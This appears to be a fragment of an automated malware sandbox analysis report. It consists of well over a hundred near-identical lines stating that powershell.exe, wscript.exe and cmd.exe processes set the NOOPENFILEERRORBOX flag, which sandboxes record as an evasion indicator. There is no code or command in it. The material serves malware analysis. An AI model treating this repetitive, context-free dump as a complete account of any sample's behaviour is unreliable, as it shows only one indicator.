Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
